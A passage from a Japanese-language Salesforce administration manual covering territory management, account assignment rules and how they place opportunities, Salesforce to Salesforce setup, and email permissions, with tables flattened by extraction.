• [すべて] をクリックすると、現在のビューの検索基準に一致するすべての商談が表示されます。
• [表示の選択]をクリックすると、現在のリストページに表示されたすべての商談が「選択済み」エリア

の下側に移動されます。
• [表示の選択解除] または [すべて選択解除] をクリックすると、商談は「選択済み」エリアから「選択

可」エリアに移動されます。

6. 移行後もユーザに保持させる商談が「選択済み」エリアに表示されている場合は、[転送] をクリックしま
す。
非常に多くのデータが影響を受ける場合には、処理が完了したときに確認のメールが送信されます。

メモ: 売上予測マネージャをテリトリーの外に移行すると、そのテリトリーの売上予測は存在しなくな
り、そのテリトリーに対してテリトリー階層の上位にいる売上予測マネージャが作成した商談の上書き
は削除されます。「カスタマイザブル売上予測の上書き」 (ページ 1826)を参照してください。

関連トピック:

テリトリーの表示および編集
テリトリーへの売上予測マネージャの追加
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割り当てられたユーザリストの参照

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

割り当てられたユーザを
参照する
• 「設定・定義を参照す

る」

ユーザを削除または移行
する
• 「テリトリーの管理」

および

「ユーザの管理」

メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープ
ライズテリトリー管理には適用されません。

割り当てられたユーザリストページでは、選択したテリトリーに割り当てられ
たユーザの一覧が表示されます。このページで、ユーザの詳細情報を表示し、
テリトリーからユーザを削除し、テリトリー間でユーザを移行し、関連する他
の情報にアクセスできます。
• 項目の絞り込みリストを表示するには、[表示] ドロップダウンリストから

事前定義済みのリストを選択するか、[新規ビューの作成] をクリックして、
自分専用のカスタムビューを定義します。デフォルトの[表示]は、最後に選
択したユーザビューです。

• ユーザ名をクリックすると、ユーザの詳細が表示されます。
• テリトリーからユーザを削除するには、ユーザ名の横にある [削除]をクリッ

クします。
• ユーザ名の横にある [転送]をクリックして、テリトリー間でユーザを移行し

ます。

関連トピック:

テリトリー管理に関するオブジェクト
取引先割り当てルールの管理
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テリトリーへの売上予測マネージャの追加

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

売上予測マネージャをテ
リトリーに割り当てる
• 「ユーザの管理」

および

「テリトリーの管理」

および

「アプリケーションの
カスタマイズ」

メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープ
ライズテリトリー管理には適用されません。

テリトリーに売上予測マネージャを割り当てる前に、次の事柄を考慮します。
• 1 つのテリトリーが持つことができる売上予測マネージャは 1 人のみです。

「売上予測階層内の売上予測マネージャの割り当て」 (ページ2301)を参照して
ください。

• 下位テリトリーによる売上予測は、売上予測マネージャに計上されます。
• テリトリーに売上予測マネージャが存在しない場合、そのテリトリーには売

上予測も存在しません。
• 売上予測マネージャは、ユーザがテリトリーの外へ移行された場合や、テリ

トリーから削除された場合、商談を受け入れることができます。
• 売上予測マネージャは、取引先割り当てルールの実行時に、商談を受け入れ

ることができます。
• テリトリー設定ページでは、階層内で下位にいる売上予測マネージャに、テ

リトリーの代理管理者の役割を受け持つことを許可できます。
テリトリーに売上予測マネージャを割り当てる手順または変更する手順は、次
のとおりです。
1. テリトリー詳細ページで、[売上予測マネージャ] 項目の横にある [変更]をク

リックします。
2. ドロップダウンリストから名前を選択して、テリトリーの売上予測マネー

ジャを指定します。
右側にあるテリトリー階層のツリービューでは、その売上予測マネージャに集約される売上予測のある下
位テリトリーを確認できます。

3. [保存] をクリックして終了します。

関連トピック:

売上予測階層内の売上予測マネージャの割り当て
テリトリーの表示および編集
テリトリー管理の設定
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取引先割り当てルールの管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

取引先割り当てルールを
管理する
• 「テリトリーの管理」

または

売上予測マネージャで
ある。売上予測マネー
ジャは、テリトリー階
層において自分の下位
で作業するユーザのテ
リトリーを管理できま
す。

メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープ
ライズテリトリー管理には適用されません。

取引先割り当てルールを作成すると、郵便番号、都道府県、業種、収益や従業
員数などの標準項目またはカスタム取引先項目に基づいて、取引先および取引
先に関連する商談とケースをテリトリーに自動的に移動することができます。
各ルールは、複数の検索基準で構成されます。取引先割り当てルールは、次の
ように適用されます。
取引先割り当てルールは、次のように適用されます。
• テリトリーには、継承された取引先割り当てルールを適用できます。この

ルールは、テリトリー階層の上位階層で作成されているため、このテリト
リーにも影響があります。

• テリトリーには、ローカルで定義済みの取引先割り当てルールを適用できま
す。このルールは、このテリトリーで作成されたものです。

• 継承された取引先割り当てルールまたはローカルで定義済みの取引先割り当
てルールのどちらも適用されないテリトリーには、手動で追加した取引先の
みが含まれます。

• 階層の同じ分岐上にある複数のテリトリーで継承された取引先割り当てルー
ルとローカルで定義済みの取引先割り当てルールの両方に一致する取引先
は、そのテリトリーの最下位テリトリーに割り当てられます。

• テリトリーに継承された取引先割り当てルールと一致して、テリトリーの
ローカルで定義済みの取引先割り当てルールに一致しないルールがある取引
先は、そのテリトリーには割り当てられませんが、その下位テリトリーに対
しては評価されます。

たとえば、次の 3 つのテリトリーがあるとします。
• テリトリー A には「子テリトリーに適用」とマークされたルールが 4 つあり、テリトリー B の親です。

– テリトリー B には「子テリトリーに適用」とマークされていないルールが 3 つあり、テリトリー C の親
です。
• テリトリー C には 2 つのルールがあります。

テリトリー A とテリトリー C のすべての規則を満たし、テリトリー B のルールは 1 つだけ満たす取引先を割り
当てると、その取引先はテリトリー C に割り当てられます。ただし、テリトリー B のルールが「子テリトリー
に適用」とマークされている場合、取引先はテリトリー A だけに割り当てられます。

取引先割り当てルールとの連動
テリトリー詳細ページの[ルールの実行]をクリックすると、組織内の既存の取引先すべてに対して、ページ上
に表示されている有効で継承されたローカルに定義済みのルールを評価できます。その下位テリトリーのルー
ルもすべて評価されます。つまり、最上位テリトリーに対してルールを実行すると、階層全体のすべてのルー
ルが評価されます。[ルールの実行] をクリックすると、影響を受けるすべてのテリトリーのボタンの横に、

2363

テリトリーのカスタマイズ販売ツールの設定および管理



ルールが処理中であることを示すアイコン ( ) が表示されます。処理が完了すると、確認のメールが送信さ
れます。

メモ: データの質を保護するため、処理中アイコンの表示中はテリトリーを変更できません。

テリトリー詳細ページの[ルールの管理]をクリックすると、取引先割り当てルールを作成、編集、プレビュー
および実行することが可能な [取引先割り当てルールの管理] ページにアクセスできます。
• [新規]をクリックすると、新しいルールを作成できます。また、[編集]をクリックすると、既存のルールを

編集できます。「取引先割り当てルールの作成および編集」 (ページ 2369)を参照してください。
• ローカルで定義済みのルールを有効または無効に設定する場合は、[有効] チェックボックスを使用しま

す。
有効な取引先割り当てルールによって、次のタイミングで取引先が自動的に分類され、テリトリーに割り
当てられます。
– Salesforce ユーザインターフェース、Force.com API バージョン 20.0 以前、または Connect Offline などのクラ

イアントを使用して取引先が作成されたとき
– インポートウィザードを使用して取引先がインポートされたとき
– リードの変換によって取引先が作成されたとき
– [レイアウトのプロパティ]の [保存時にテリトリールールに照らしてこの取引先を評価]オプションの [デ

フォルトで選択]チェックボックスがオンにされている場合に、取引先が編集して保存されたとき取引
先割り当てルールによって商談の所有権が変更になる場合は、商談に対する転送アクセス権が必要で
す。

– Force.com API 経由で取引先が編集および保存されたとき
– 取引先の [テリトリーの割り当てルールから除外]チェックボックスがオフになっている場合に、テリト

リーの詳細ページで [ルールの実行] がクリックされたとき
– 取引先の [テリトリーの割り当てルールから除外]チェックボックスがオフになっている場合に、テリト

リーの [取引先割り当てルールの管理] ページで [ルールの保存 & 実行] がクリックされたとき
– 重複する取引先がマージされたとき

• ルール名をクリックすると、有効な状況および検索基準など、そのルールの詳細が確認できます。ルール
詳細ページでは、ルールを編集、削除またはコピーできます。

• [プレビュー] をクリックすると、現在「有効」とマークされているルールが実行されたときに、このテリ
トリーおよびその下位テリトリーに割り当てられる取引先を確認できます。「取引先割り当てのプレビュー」
(ページ 2370)を参照してください。

• [保存] をクリックすると、ローカルで定義済みのルールの現在の活動状況を保存できます。
• [ルールの保存 & 実行]をクリックすると、ローカルで定義済みのルールの現在の活動状況を保存して、ペー

ジに表示された継承されたルールおよびローカルで定義済みのルールを、組織に既存のすべての取引先を
対象に評価できます。取引先割り当てルールの実行は、ごみ箱内の取引先にも影響します。

テリトリーの詳細ページで [編集] をクリックして、[商談を固定] チェックボックスのオン/オフを切り替えま
す。チェックボックスがオンの場合は、取引先割り当てルールを実行しても、テリトリーの商談はそのテリト
リーまたはその下位テリトリーに残ります。次の例外が適用されます。
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• 商談の取引先がそのテリトリーの下位テリトリーの 1 つにのみ移動した場合、その商談はその取引先に従っ
て、その取引先の新規テリトリーに再割り当てされます。この処理は、取引先が複数のテリトリーに移動
し、新規テリトリーの 1 つだけが元のテリトリーの子である場合に実行されます。

• 商談の取引先がそのテリトリーの複数の下位テリトリーに移動した場合、その商談のテリトリー項目は空
白に設定されます。

• 商談の取引先がそのテリトリーと下位テリトリーの外に完全に移動した場合、その商談のテリトリー項目
は空白に設定されます。

ヒント: 取引先割り当てルールは、データローダまたはWeb サービス API を使用して管理することもでき
ます。

取引先割り当てルールと商談
取引先割り当てルールによりテリトリーに商談を割り当てる方法は、次を含むいくつかの要素で決まります。
• 商談に関連付けられた取引先が 1 つ以上のテリトリーに割り当てられているかどうか
• 商談所有者が取引先と同じテリトリーのメンバーかどうか
• テリトリーに割り当てられたユーザ数
• 売上予測マネージャがテリトリーに割り当てられているかどうか

メモ: テリトリー管理の一部である取引先割り当てルールをトリガする取引先を更新する場合は、取引先
割り当てルールにより商談の所有者の変更が開始される場合、商談へのアクセス権を転送する必要があ
ります。

1 つのテリトリーが関連する取引先
商談に関連付けられた取引先が 1 つのテリトリーにのみ割り当てられている場合、次の表を使用して商談のテ
リトリーが割り当てられる方法を確認します。

結果売上予測マネージャが
テリトリーに割り当て
済み

テリトリーに割り当
てられたユーザ数

取引先と同じテリ
トリーに属する商
談所有者

商談は取引先と同じテリトリーに割り当て
られます。商談所有者は変更されません。

なし1はい

商談は取引先と同じテリトリーに割り当て
られ、商談所有者がテリトリーの唯一のメ
ンバーです。

なし1いいえ

商談は取引先と同じテリトリーに割り当て
られ、商談所有者がテリトリーの無効なメ

なし0いいえ

ンバーとして追加されます。商談所有者は
変更されません。

商談は取引先と同じテリトリーに割り当て
られ、売上予測マネージャが商談所有者に
なります。

はい>1はい
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結果売上予測マネージャが
テリトリーに割り当て
済み

テリトリーに割り当
てられたユーザ数

取引先と同じテリ
トリーに属する商
談所有者

商談は取引先と同じテリトリーに割り当て
られます。商談所有者のテリトリー詳細

いいえ>1はい

ページで [テリトリーで有効] が選択され
ている場合、商談の所有者は変更されませ
ん。

商談はテリトリーの売上予測マネージャに
割り当てられます。

はい>1いいえ

商談は取引先と同じテリトリーに割り当て
られ、商談所有者がテリトリーの無効なメ

いいえ>1いいえ

ンバーとして追加されます。商談所有者は
変更されません。

複数のテリトリーが関連する取引先
商談に関連付けられた取引先が複数のテリトリーに割り当てられている場合、次の表を使用して商談のテリト
リーが割り当てられる方法を確認します。

結果商談所有者のテリトリーメンバーシップ

商談はテリトリーには割り当てられませ
ん。商談所有者が取引先と共有するテリト
リーに商談を割り当てることができます。

商談所有者が取引先と 1 つのテリトリーを共有

商談はテリトリーには割り当てられませ
ん。商談所有者は、商談を取引先と共有す

商談所有者が取引先と複数のテリトリーを共有

るテリトリーに割り当てることができま
す。

商談はテリトリーには割り当てられませ
ん。商談所有者は、テリトリーに商談を割
り当てることはできません。

商談所有者が取引先とテリトリーを共有しない

標準ユーザへのテリトリー割り当て
商談を作成するユーザが標準ユーザで、ユーザと取引先がテリトリーを 1 つだけ共有する場合にのみ、Salesforce

によって自動的にテリトリーが新規商談に割り当てられます。たとえば、Westlake テリトリーのみに割り当て
られた標準ユーザである James が Filmore, Inc. 取引先で商談を作成するとします。Filmore, Inc. は Westlake テリト
リーともう 1 つ別のテリトリーに属します。James と Filmore, Inc. はテリトリーを 1 つだけ共有するため、新規商
談は Westlake テリトリーに割り当てられます。James が取引先の他のテリトリーに属している場合、商談はテ
リトリーには割り当てられません。
次の表を使用して、標準ユーザが作成した商談にテリトリーが割り当てられる条件を確認してください。
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結果取引先と同じテ
リトリーに属す
る商談所有者

取引先に割り当
てられたテリト
リー数

ユーザに割り当てられたテ
リトリー数

商談は共有するテリトリーに割り当てられ
ます。

はい11

ユーザが同じテリトリーに属する場合、商
談は取引先のテリトリーに割り当てられま
す。

はい1>1

取引先が同じテリトリーに割り当てられて
いる場合、商談はユーザのテリトリーに割
り当てられます。

はい>11

商談はテリトリーには割り当てられませ
ん。商談所有者は、商談を取引先と共有す

はい>1>1

るテリトリーに割り当てることができま
す。

商談はテリトリーには割り当てられませ
ん。

いいえなしなし

管理者へのテリトリー割り当て
システム管理者または「テリトリーの管理」権限を持つユーザは、すべてのテリトリーを参照できます。
ユーザが管理者、テリトリーの代理管理者、または「テリトリーの管理」権限を持つユーザで、管理者、取引
先、および取引先の親取引先がテリトリーを 1 つだけ共有する場合にのみ、Salesforceによって自動的にテリト
リーが新規商談に割り当てられます。たとえば、Jennifer が Northlake テリトリーと Westlake テリトリーを管理す
る管理者だとします。Jennifer が Richmond Brothers 取引先で商談を作成します。Richmond Brothers は Northlake テリ
トリーと Southlake テリトリーに関連付けられています。Richmond Brothers には 1 つの親取引先である Zyman Products

があり、Zyman Products は Northlake テリトリーと Eastlake テリトリーに割り当てられています。Jennifer、Richmond

Brothers、Zyman Products は Northlake テリトリーのみを共有するため、新規商談は Northwest テリトリーに割り当
てられます。Richmond Brothers または Zyman Products が Westlake テリトリーにも属している場合、商談はテリト
リーには割り当てられません。
次の表を使用して、管理者が作成した商談にテリトリーが割り当てられる条件を確認してください。

結果取引先および親
取引先と同じテ
リトリーを管理
する商談所有者

取引先の親取引
先に割り当てら
れたテリトリー
数

取引先に割り当
てられたテリト
リー数

管理者が管理
するテリト
リー数

商談は共有するテリトリーに割り当てら
れます。

はい111

商談は共有するテリトリーに割り当てら
れます。

はい11>1
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結果取引先および親
取引先と同じテ
リトリーを管理
する商談所有者

取引先の親取引
先に割り当てら
れたテリトリー
数

取引先に割り当
てられたテリト
リー数

管理者が管理
するテリト
リー数

商談は共有するテリトリーに割り当てら
れます。

はい1>11

商談は共有するテリトリーに割り当てら
れます。

はい>111

管理者と取引先が共有するテリトリーが
他にない場合、商談は親取引先のテリト

はい1>1>1

リーに割り当てられます。商談所有者
は、商談を取引先と共有するテリトリー
に手動で割り当てることができます。

取引先と取引先の親取引先が共有するテ
リトリーが他にない場合、商談は管理者

はい>1>11

のテリトリーに割り当てられます。商談
所有者は、商談を取引先と共有するテリ
トリーに手動で割り当てることができま
す。

管理者と取引先の親取引先が共有するテ
リトリーが他にない場合、商談は取引先

はい>11>1

のテリトリーに割り当てられます。商談
所有者は、商談を取引先と共有するテリ
トリーに手動で割り当てることができま
す。

管理者、取引先、取引先の親取引先が共
有するテリトリーが他にない場合、商談

はい>1>1>1

は管理者のテリトリーに割り当てられま
す。商談所有者は、商談を取引先と共有
するテリトリーに手動で割り当てること
ができます。

商談はテリトリーには割り当てられませ
ん。

いいえなしなしなし

関連トピック:

取引先割り当てルールの作成および編集
取引先割り当てのプレビュー
テリトリーの表示および編集
テリトリーへの商談の割り当て

2368

テリトリーのカスタマイズ販売ツールの設定および管理



取引先割り当てルールの作成および編集

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

取引先割り当てルールを
作成または編集する
• 「テリトリーの管理」

または

売上予測マネージャで
ある。売上予測マネー
ジャは、テリトリー階
層において自分の下位
で作業するユーザのテ
リトリーを管理できま
す。

メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープ
ライズテリトリー管理には適用されません。

テリトリーには、有効・無効合わせて最大 15 の取引先割り当てルールを指定で
きます。取引先割り当てルールを作成または編集する手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「階層」と入力し、[テリトリー階層]

を選択します。
2. 修正するテリトリーを選択します。
3. [取引の先割り当てルール] 関連リストから[ルールの管理]をクリックします。
4. [新規] をクリックして、新しい取引先割り当てルールを作成します。既存の

取引先割り当てルールを編集するには、[編集] をクリックします。
5. ルールの名前を入力します。必ず 80 文字以内で固有のルール名にします。
6. 検索条件を定義します。この条件に一致した取引先をテリトリーに含めま

す。
組織で複数の言語を使用している場合は、条件を指定するときに、組織のデ
フォルトの言語を使用します。選択リストを使用して検索条件を指定する
と、選択した値が組織のデフォルト言語で保存されます。既存の検索条件を
編集またはコピーする場合は、最初に [組織情報] ページの [言語のデフォル
ト値]を、元の検索条件の設定に使用したものと同じ言語に設定します。一
致していないと、検索条件が期待どおりに評価されない可能性があります。

7. 必要に応じて、[下位テリトリーへの適用] チェックボックスをオンにする
と、下位テリトリーにルールが適用されます。

8. 必要に応じて、ルールを有効にする場合は、[有効] チェックボックスをオ
ンにします。無効なルールが実行されることはありません。
有効な取引先割り当てルールによって、次のタイミングで取引先が自動的に分類され、テリトリーに割り
当てられます。
• Salesforce ユーザインターフェース、Force.com API バージョン 20.0 以前、または Connect Offline などのクラ

イアントを使用して取引先が作成されたとき
• インポートウィザードを使用して取引先がインポートされたとき
• リードの変換によって取引先が作成されたとき
• [レイアウトのプロパティ]の [保存時にテリトリールールに照らしてこの取引先を評価]オプションの [デ

フォルトで選択] チェックボックスがオンにされている場合に、取引先が編集して保存されたとき。取
引先割り当てルールによって商談の所有権が変更になる場合は、商談に対する転送アクセス権が必要で
す。

• Force.com API 経由で取引先が編集および保存されたとき
• 取引先の [テリトリーの割り当てルールから除外]チェックボックスがオフになっている場合に、テリト

リーの詳細ページで [ルールの実行] がクリックされたとき
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• 取引先の [テリトリーの割り当てルールから除外]チェックボックスがオフになっている場合に、テリト
リーの [取引先割り当てルールの管理] ページで [ルールの保存 & 実行] がクリックされたとき

• 重複する取引先がマージされたとき

9. [保存]をクリックして終了するか、[保存 & 新規]をクリックしてルールを保存し、その他のルールの定義を
開始します。

ヒント: 下位テリトリーに適用されるテリトリー階層の最上位で取引先割り当てルールを 1 つ以上作成す
ることにより、すべての取引先が最上位の条件に一致し、下位テリトリーがより具体的な条件で取引先
を区別する階層を作成できます。
同様に、組織でディビジョンを使用している場合には、ディビジョン別に取引先を絞り込み、下位テリ
トリーに適用されるテリトリー階層の最上位でルールを作成します。

関連トピック:

取引先割り当てルールの管理
取引先割り当てのプレビュー
テリトリーの表示および編集

取引先割り当てのプレビュー

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

テリトリーの取引先割り
当てをプレビューする
• 「テリトリーの管理」

または

売上予測マネージャで
ある。売上予測マネー
ジャは、テリトリー階
層において自分の下位
で作業するユーザのテ
リトリーを管理できま
す。

メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープ
ライズテリトリー管理には適用されません。

取引先割り当てルールを実行する前に、現在有効に設定されたルールが実行さ
れた場合のテリトリーと、階層内でそのテリトリーの下位にあるテリトリーに
割り当てる取引先の一覧をプレビューします。
1. テリトリー詳細ページで、[ルールの管理] > [プレビュー]をクリックします。
2. [保存]をクリックしてルールの活動状況を保存します。[ルールの保存 & 実行]

をクリックして、ルールの活動状況を保存して、組織にあるすべての既存の
取引先に対してルールを評価します。

メモ: 取引先割り当てルールの実行は、ごみ箱内の取引先にも影響します。

関連トピック:

取引先割り当てルールの管理
取引先割り当てルールの作成および編集
テリトリーの表示および編集
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継承されたルールのリストの参照

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

継承されたルールを参照
する
• 「設定・定義を参照す

る」

メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープ
ライズテリトリー管理には適用されません。

継承されたルールのリストページでは、選択されたテリトリーにより継承され
た取引先割り当てルールの一覧が表示されます。このページから、ルールの詳
細情報を参照し、個々のルールに関する情報にアクセスできます。
• 項目の絞り込みリストを表示するには、[表示] ドロップダウンリストから

事前定義済みのリストを選択するか、[新規ビューの作成] をクリックして、
自分専用のカスタムビューを定義します。

• ルール名をクリックして、ルールの詳細を表示します。

関連トピック:

テリトリー管理に関するオブジェクト
手動による取引先のテリトリーへの割り当て
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手動による取引先のテリトリーへの割り当て

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

取引先をテリトリーに手
動で追加する
• 「テリトリーの管理」

および

取引先に対する「編
集」

または

売上予測マネージャで
あり、[売上予測マ
ネージャのテリトリー
管理] が選択されてい
て、テリトリー階層で
自分の階層よりも下位
で作業していて、取引
先に対する「編集」権
限を持つユーザ。

メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープ
ライズテリトリー管理には適用されません。

取引先割り当てルールを作成して実行する代わりに、手動で取引先をテリトリー
に割り当てることができます。
1. テリトリー詳細ページで、[手動で割り当てた取引先] 関連リストから[取引先

の追加] をクリックします。
2. ドロップダウンリストからビューを選択するか、[新規ビューの作成]をクリッ

クして、新規カスタムビューを作成します。
3. [選択] および [選択解除] をクリックして、「選択可」および「選択済み」エ

リア間で取引先を移動します。また、次の操作も実行できます。
• 文字をクリックすると、その文字に対応する取引先を参照します。
• [すべて]をクリックすると、現在のビューの検索基準に一致するすべての

取引先が表示されます。
• [表示の選択]をクリックすると、現在のリストページに表示されたすべて

の取引先が「選択済み」エリアの下側に移動されます。
• [表示の選択解除] または [すべて選択解除] をクリックすると、「選択済

み」エリアから「選択可」エリアに取引先が移動されます。

4. 手動でテリトリーに追加する取引先がすべて「選択済み」エリアに含まれて
いる場合は、[割り当て] をクリックします。

メモ: 手動による取引先割り当てルールの追加と実行は、完全に独立して
います。手動で追加された取引先は、手動で削除されるまでテリトリーに
残ります。割り当てルールによってテリトリーに取引先が追加されるのを
妨げるものは何もありません。

関連トピック:

テリトリーの表示および編集
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組織間のコラボレーションのためのビジネスネットワークの有効化

Salesforce to Salesforce の有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Salesforce to Salesforce を
有効化する
• 「すべてのデータの編

集」

警告: Salesforce to Salesforce を一度有効にすると元に戻すことはできません
が、共有する情報やその情報を共有する接続先を管理できます。共有の停
止および共有設定の変更は、随時行えます。Salesforce to Salesforce を有効に
することにより、他の組織と共有したお客様の組織内の情報に対して
salesforce.com が自動更新処理を行うことに同意したことになります。Salesforce

to Salesforce を使用すると、データをサードパーティの受信者と共有するこ
とができます。また、これらの受信者は、Salesforce to Salesforce を使用して、
お客様が知らない他のサードパーティの受信者とデータを共有することが
できます。お客様と、受信者との間で適切な契約または法的な同意を締結
し、これらの受信者による共有データの使用および公開を制限する必要が
あります。

Salesforce to Salesforce を有効化する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「Salesforce to Salesforce 設

定」と入力し、[Salesforce to Salesforce 設定] を選択します。
2. [編集] をクリックします。
3. [有効化] を選択します。
4. [保存] をクリックします。
Salesforce to Salesforceを有効にすると、「接続ユーザ」という名前の新規ユーザが
作成されます。このユーザは、組織の使用ライセンス数に数えられず、どのユーザ管理ビューにも表示されま
せん。
ビジネスパートナーが共有レコードを更新すると、組織のレコードの [最終更新者]が [接続ユーザ]に表示さ
れるため、ビジネスパートナーが行ったすべての変更を簡単に追跡できます。
接続ユーザは自動的に、パートナーネットワークプロファイルに割り当てられます。パートナーネットワーク
プロファイルは変更できず、プロファイル管理ビューに表示されません。
Salesforce to Salesforce を有効化した後、次の処理を行います。
1. 「接続の管理」権限が有効で [接続] タブを [参照可能]に設定した権限セットを作成し、Salesforce to Salesforce

接続を使用するユーザにその権限セットを割り当てます。
「接続の管理」ユーザ権限を持つすべてのユーザに「キューの管理」ユーザ権限を付与することもお勧め
します。これにより、「接続の管理」ユーザ権限を持つすべてのユーザが接続のキューを作成および管理
する場合に、システム管理者からのサポートが不要になります。

2. ビジネスパートナーに招待状を送信するためのコミュニケーションテンプレートなど、Salesforce to Salesforce

設定を定義します。
3. [外部共有] 関連リストを、該当するプロファイルのページレイアウトに追加します。

メモ: この関連リストは、「接続の管理」権限を持つユーザだけでなく、ユーザ全員が使用できます。
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4. 必要に応じて、[外部共有] 関連リストにカスタムリストビューを作成し、適切なユーザが共有レコードを
表示し、引き受けられるようにアクセス権を付与します。

5. 必要に応じて、[受信接続名] 列および [送信接続名] 列を対象オブジェクトのページレイアウトの関連リスト
に追加できます。

6. ビジネスパートナーと接続を作成して管理します。

関連トピック:

Salesforce to Salesforce の概要
Salesforce to Salesforce 使用のヒント
パートナーが Salesforce を使用しているかどうかの確認

Salesforce to Salesforce の設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Salesforce to Salesforce を
定義する
• 「すべてのデータの編

集」

ビジネスパートナーと対話するためのコミュニケーションテンプレートを使用
するように Salesforce to Salesforce を定義できます。さらに、テンプレートで使用
するメールアドレスと名前を定義できます。これらの定義を行う手順は、次の
とおりです。
1. [設定] から、[クイック検索] ボックスに「Salesforce to Salesforce 設

定」と入力し、[Salesforce to Salesforce 設定] を選択します。
2. [編集] をクリックし、次の設定を変更します。

説明設定

すべての Salesforce to Salesforce コミュニケーショ
ンテンプレートの送信元アドレス
(partner@acme.com など)。Salesforceがメールを自動
的に送信しますが、取引先責任者に対しては、
このメールアドレスから送信されたかのように
表示されます。取引先責任者が返信すると、こ
のアドレスに送信されます。

差出人メールアドレス

差出人メールアドレスに関連付ける名前 (Acme

チャネルマネージャなど)。
差出人名

招待を送信する場合に使用します。招待テンプレート

接続を無効にしたことをビジネスパートナーに
通知する場合に使用します。

無効化テンプレート

招待を受諾したことをビジネスパートナーに通
知する場合に使用します。

招待受入テンプレート

招待を受諾しなかったことをビジネスパートナー
に通知する場合に使用します。

招待辞退テンプレート
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説明設定

有効な接続プロファイルに対する変更をビジネスパートナーに通知
する場合に使用します。

接続プロファイル更新テンプレート

3. [保存] をクリックします。

関連トピック:

Salesforce to Salesforce の概要
ビジネスパートナーの Salesforce to Salesforce を使用した接続への招待
接続の管理
Salesforce to Salesforce を使用したレコードの共有

Salesforce インテグレーションメールの設定

メールのエディションおよび権限
エディション

使用可能なエディション:
Salesforce Lightning
Experience

Developer Edition、
Enterprise Edition、
Professional Edition、
Performance Edition、およ
び Unlimited Edition

Salesforce メールおよびテンプレートは、いくつかのエディションで使用できま
す。機能を有効にして、組織レベルおよびシステム管理者やエンドユーザの権
限やアクセス権を管理します。

権限およびアクセス権の要件組織レベル

Lightning Experience でメールを使用する • Lightning Experience を有効にする。
• Lightning メールをサポートするオブ

ジェクトのページレイアウトにあ
る Lightning アクションに、[メール
を送信] アクションを追加する。

[メールを送信するためのアクセス権]

アクセスレベルを [すべてのメール]

に設定する。

すべての種別の送信メールを送信する

添付ファイルを送信する • コンテンツ配信で 3 MB を超えるファ
イルのアップロードを有効にする。
コンテンツ配信で有効でない場合、
ユーザは 3 MB を超えるファイルを
アップロードできません。

• Salesforce Files でファイルの送信を有
効にする。Salesforce Files で有効でな
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権限およびアクセス権の要件組織レベル

い場合、添付ファイルのみを送信できます。

送信済みメールを表示する • 拡張メールがオンのとき: 追加の権限は必要ありま
せん。メールはメールレコードとして表示されま
す。

• 拡張メールがオフのとき: メールは ToDo レコード
として表示されます。Shared Activities を有効にする
ことをお勧めします。Shared Activities が有効でない
場合、ユーザが複数の取引先責任者にメールを送
信すると、Salesforce は完了した ToDo レコードを重
複して作成します (取引先責任者ごとに 1 つの
ToDo)。

権限およびアクセス権の要件管理者

「メールの送信」権限メールテンプレートを作成する

添付するファイルへのアクセス権テンプレートまたはメールにファイルを添付する

「すべてのデータの参照」権限他のユーザが作成したテンプレートを削除する

最初にメールを送信する前に、すべてのシステム管理
者はメールアドレスを検証する必要があります。表示
されるプロンプトに従ってください。

メールを送信する

必要な設定とユーザ権限ユーザ

「メールの送信」権限メールテンプレートを作成する

該当するオブジェクトの項目へのアクセス権テンプレートまたはメールに差し込み項目を追加する

添付するファイルへのアクセス権テンプレートまたはメールにファイルを添付する

なし作成したテンプレートを削除する

メールを送信する • 「メールの送信」権限
• 最初にメールを送信する前に、すべてのシステム

管理者とユーザはメールアドレスを検証する必要
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必要な設定とユーザ権限ユーザ

があります。表示されるプロンプトに従ってくだ
さい。

関連トピック:

Salesforce からのメール送信で組織に最適なオプション
Lightning Experience の活動コンポーザのメールアクションの設定

拡張メール: 主なカスタマイズとメールページの改善によるSalesforce
のメールの強化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

拡張メールでは、システム管理者やユーザがビジネスプロセスをさらに促進す
る多くのメール機能を使用できます。たとえば、メールの他のレコードへの関
連付け、カスタム項目のメールへの追加、メールによるトリガの使用、メール
レイアウトの変更、Salesforce API を使用したメールの管理を実行できます。また、
メールの詳細ページが改善され、元の形式でメールが表示されるようになりま
した。
拡張メールでは、Salesforce のメールが EmailMessage レコードとして保存されま
す。EmailMessage は Salesforce の標準オブジェクトであるため、これらの優れた
メールの新機能をすべて利用できます。

